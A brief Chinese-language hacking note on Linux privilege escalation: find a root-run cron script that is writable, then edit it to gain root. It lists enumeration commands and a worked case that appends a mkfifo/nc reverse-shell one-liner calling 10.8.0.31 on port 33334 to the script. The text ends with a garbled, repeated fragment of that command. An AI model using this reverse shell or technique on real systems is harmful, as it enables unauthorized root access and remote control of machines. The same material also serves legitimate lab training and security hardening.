计划任务提权

本质：

如果可以找到可以有权限修改的计划任务脚本（该脚本以root权限运行），就可以修改脚本实现提权。本质上，就是文件权限配置不当。

用法：

查找计划任务是否有root运行的脚本，且可修改的脚本， -> 在脚本中添加需要执行的命令

1、查看计划任务，找到有修改权限的计划任务脚本

ls -l /etc/cron*
cat /etc/crontab

 2、发现存在一个root身份运行的脚本文件，去相应的目录下查看一下这个计划任务运行的文件，看其是否可以被修改

3、如果是，则可以修改文件，使其反弹一个shell就可以提权成功

案例：

1、查看定任务

cat /etc/crontab

发现有脚本，但是指向的另一个文件

2、写入反弹shell

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.0.31 33334 >/tmp/f' >> write.sh
<|sh -i 2>&1|nc 10.8.0.31 33334 >/tmp/f' >> write.sh